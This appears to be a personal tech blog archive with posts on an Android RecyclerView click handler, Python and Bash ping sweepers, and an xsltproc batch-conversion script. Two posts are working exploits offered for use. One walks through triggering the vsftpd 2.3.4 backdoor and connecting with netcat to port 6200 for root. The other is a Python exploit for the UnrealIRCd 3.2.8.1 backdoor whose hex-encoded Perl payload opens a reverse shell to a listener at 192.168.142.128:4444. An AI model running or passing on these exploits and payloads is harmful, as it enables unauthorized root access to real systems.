Author: M.Kirby

Android-RecyclerView: handle item click event

One way to handle Item click event while using RecyclerView is to specify the handler inside the constructor of the ViewHolder inside the Adapter class.

Like this:

/*Adapter class*/
private class MyRecyclerAdapter extends RecyclerView.Adapter<MyRecyclerAdapter.ViewHolder>{ //item = ViewHolder type
    private List<Country> countryData;
    private Context context;
    /*Constructor of the adapter class*/
    public MyRecyclerAdapter (List<Country> data,Context context){
        this.context = context;
        this.countryData = data;
    }

    /*ViewHolder*/
    public class ViewHolder extends RecyclerView.ViewHolder /*implements View.OnClickListener*/{
        public TextView tvName;
        public TextView tvRank;
        public TextView tvPop;
        public ImageView ivFlag;
        View itemCountry;

        /*Constructor of the ViewHolder*/
        public ViewHolder(View itemCountry){
            super(itemCountry);
            tvName =(TextView) itemCountry.findViewById(R.id.name_cfrag);
            tvRank = (TextView) itemCountry.findViewById(R.id.rank_cfrag) ;
            tvPop = (TextView) itemCountry.findViewById(R.id.population_cfrag);
            ivFlag = (ImageView) itemCountry.findViewById(R.id.flag_cfrag);
        /*HERE: Event handler*/
            itemCountry.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                         /*TODO: Do what you want here*/
                }
            });
        }
    }

 

 

Advertisements

Exploit vsftpd version 2.3.4

Aside from having a very nice version number (2-3-4), vsftpd 2.3.4 contain a LOLz backdoor that can be exploited easily without using any sophisticated tools (that’s the point of backdoor after all).

What you need:

  • A computer with internet connection
  • ftp client (most linux and windows are delivered with one by default)
  • Netcat (or something similar, netcat is available for both Linux and Windows)
  • Feeling comfortable with terminal and command line

I’ll use a linux machine, but this should work on windows with cmd or powershell as well.

Step 1: Connect to the computer running vsftpd 2.3.4 with your ftp clien

Open your terminal, type the command “ftp <ip address of the target>”

Example: ftp 192.168.123.111

Step 2: Exploit it

The target will as you for user name, don’t worry, just type in some random text ended with a smiley face. They smiley face is important, you must include it into your fake username or it won’t work.

Like this : asdasdasda:)

Then it will as your for a password, just type in some random text.

Like this: dasdasdasd

The terminal will hang because the target has spawned a listener on its port 6200. So, don’t worry. Just leave it like that and don’t close the terminal. All you need to do now is to connect to port 6200 and get your root.

Step 3: Connect to port 6200

In this article I’ll connect to port 6200 using netcat for simplicity shake, but pls feel free to use what you like and feel comfortable with.

Open another terminal (again, don’t close the terminal above), and type in this command: nc <target’s ip> 6200

Example: nc 192.168.123.111 6200

You will see that it will return … nothing. Yes, nothing, the terminal is completely empty. But when you type the command “whoami“, it will return “root“.

Congra, you have sucessufully exploited vsftpd 2.3.4 and get root access (the all-powerfull user of a Linux machine)

Windows also has “whoami” command, so you should be fine even if you’re on Windows.

At first, I thought that I should write this into a python script or something to automate the process. But since the it is so simple, I really can’t bring myself to do that. Also, there is a module in Metasploit framework that can do everything for you.

**Tested on Linux and Windows (with Powershell and Netcat)

 

 

ping sweeping with python

This simple piece of script demostrates how to do a simple ping sweeping with python.

For some reasons, wordpress really messed up the identation…Still working on it…

import subprocess

host = &quot;192.168.%d.%d&quot; #change this
command = &quot;ping -c 1 -w 1 %s&quot;
result = list()

for x in range(188,189): #change this
for y in range (125,130): #change this
try:
run_this  = command % (host %(x,y))
output = subprocess.check_output(run_this, shell=True,stderr=subprocess.STDOUT)
result.append(host%(x,y))
print &quot;Host %s is alive&quot; % (host %(x,y))
except subprocess.CalledProcessError as e:
print &quot;Host %s is not alive&quot; % (host %(x,y))

print &quot;===Done===&quot;
if len(result):
print &quot;There is %d host(s) alive&quot; % len(result)
for re in result:
print re
else:
print &quot;Found no alive host&quot;

Simple ping sweeper with Bash

This is a piece of simple code demostrating how to do a ping sweeper using only Bash and ping, which are largely available in most Linux distro. It will ping and write online host IP address to a text file named “ping_result”.

Beware, it will delete the old file “ping_result” before doing the ping. So, it is best that you run it in an empty directory to prevent the risk to losing your file.

This simple piece of code will ping from 192.168.188.125 to 192.168.189.130. You should change it if you want to ping other addresses.

Code:


#!/bin/bash

echo &quot;Save to ping_result file in the current directory&quot;

#Check if ping_result file exists
#If it does, delete it to make way for the new file
if test -e ping_result
then
rm ping_result
echo &quot;File exist. Delete old file. Create new file&quot;
fi

for x in {188..189} #=&gt;range from 188 to 189
do
for y in {125..130} #range from 125 to 130
do
#ping on 192.168.188.125 to 192.168.189.13 #write result to ping_result file
ping -c 1 192.168.$x.$y|grep &quot;from&quot;|cut -d &quot; &quot; -f 4| cut -d &quot;:&quot; -f 1&gt;&gt;ping_result
done
done

&amp;nbsp;

unreal IRCD 3.2.8.1 standalone exploit based on Metasploit

*All credit go to Rapid7

This is a Unreal IRCD 3.2.8.1 backdoor command execution, written in Python, based on an exploit of Metasploit Framework

You still need msfvenom to generate the payload.

This shit is too old to cause any real damage, but still —

—Disclaimer: For education purposes only. Use it at your own risk, don’t blame me for anything.


#Open a netcat listener before running this code: nc -nlvp 4444
#Or you can use exploit/multi/handler of metasploit framework
#to listen to the reverse shell

import sys,socket
target_ip=&quot;192.168.142.129&quot; #change this
target_port=6667 #dont change this

#payload: cmd/unix/reverse_perl
#encoder:cmd/perl
#Change this payload before running this exploit
buf =&quot;&quot;
buf += &quot;\x70\x65\x72\x6c\x20\x2d\x4d\x49\x4f\x20\x2d\x65\x20&quot;
buf += &quot;\x27\x24\x70\x3d\x66\x6f\x72\x6b\x3b\x65\x78\x69\x74&quot;
buf += &quot;\x2c\x69\x66\x28\x24\x70\x29\x3b\x66\x6f\x72\x65\x61&quot;
buf += &quot;\x63\x68\x20\x6d\x79\x20\x24\x6b\x65\x79\x28\x6b\x65&quot;
buf += &quot;\x79\x73\x20\x25\x45\x4e\x56\x29\x7b\x69\x66\x28\x24&quot;
buf += &quot;\x45\x4e\x56\x7b\x24\x6b\x65\x79\x7d\x3d\x7e\x2f\x28&quot;
buf += &quot;\x2e\x2a\x29\x2f\x29\x7b\x24\x45\x4e\x56\x7b\x24\x6b&quot;
buf += &quot;\x65\x79\x7d\x3d\x24\x31\x3b\x7d\x7d\x24\x63\x3d\x6e&quot;
buf += &quot;\x65\x77\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74&quot;
buf += &quot;\x3a\x3a\x49\x4e\x45\x54\x28\x50\x65\x65\x72\x41\x64&quot;
buf += &quot;\x64\x72\x2c\x22\x31\x39\x32\x2e\x31\x36\x38\x2e\x31&quot;
buf += &quot;\x34\x32\x2e\x31\x32\x38\x3a\x34\x34\x34\x34\x22\x29&quot;
buf += &quot;\x3b\x53\x54\x44\x49\x4e\x2d\x3e\x66\x64\x6f\x70\x65&quot;
buf += &quot;\x6e\x28\x24\x63\x2c\x72\x29\x3b\x24\x7e\x2d\x3e\x66&quot;
buf += &quot;\x64\x6f\x70\x65\x6e\x28\x24\x63\x2c\x77\x29\x3b\x77&quot;
buf += &quot;\x68\x69\x6c\x65\x28\x3c\x3e\x29\x7b\x69\x66\x28\x24&quot;
buf += &quot;\x5f\x3d\x7e\x20\x2f\x28\x2e\x2a\x29\x2f\x29\x7b\x73&quot;
buf += &quot;\x79\x73\x74\x65\x6d\x20\x24\x31\x3b\x7d\x7d\x3b\x27&quot;

shellcode= buf

#TCP client
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#connect client to target
client.connect((target_ip,target_port))

#send shellcode to target
client.send(&quot;AB;&quot;+ shellcode +&quot;\n&quot;)

Automatically convert XML to HTML with xsltproc and bash in Linux

After doing nmap, I often convert the XML output to HTML to view in browser.


xsltproc input.xml -o output.html

However, if I want to convert multiple xml files to html, I’ll have to type the command multiple times. That’s rediculously tiredsome. So I decide to write a simple bash file to automatically convert all the xml files in a folder into html files with the same names.

Example:

you have following files in /some_folder/


user@linux: ~/some_folder/ls

File1.xml  File2.xml  File3.xml

After running the script, you will have the following file


user@linux:~/some_folder/convert_xml.sh

File1.xml to File1.html

File2.xml to File2.html

File3.xml to File3.html

Don’t worry, the old fils are still there.

Here is my code. It is very basic, does not have the “-help” option, but it will do the work. You can convert directories other than the current directory by input while calling the script, like this:


user@linux: ~/ convert_xml.sh  /some_dir/some_dir/some_dir

The code

#!/bin/bash
#convert all xml to html with the same name
# $1 = directory

#INTIALIZE VARIABLES
p_directory=&quot;file_directory&quot;
file_list=&quot;file_list&quot;

#GET DIRECTORY
if [ $# -eq 0 ]
then
p_directory=&quot;./&quot; #get director=./ if no directory is inputed

elif [ $# -eq 1 ]
then
p_directory=$1
#ADD &quot;/&quot; to the end of the directory
if [ &quot;${p_directory: -1}&quot; != &quot;/&quot; ]
then
p_directory=&quot;$p_directory/&quot;
fi

elif [ $# -gt 1 ]
then
echo \*ERROR\*
echo Input only the directory
exit 1
fi

#GET FILE_LIST
file_list=$(find $p_directory -type f -name &quot;*.xml&quot;)

#DO THE WORK
echo &quot;Directory: $p_directory&quot;

for file in $(echo $file_list);
do
p_full_name=$(basename $file)
p_file_name=&quot;${p_full_name%.*}&quot;

xsltproc $p_directory$p_full_name -o $p_directory$p_file_name.html
echo &quot;Convert $p_full_name to $p_file_name.html&quot;

done

#remove var
unset file_list
unset p_directory

I’m pretty sure that there are more simple way to do this, but in the mean time, this is what I can come up with. Hope it is of some help to you. And if you have any suggestion, I’m all ear.

You can download the script file here https://www.mediafire.com/?lqr9d34pd1q7g9t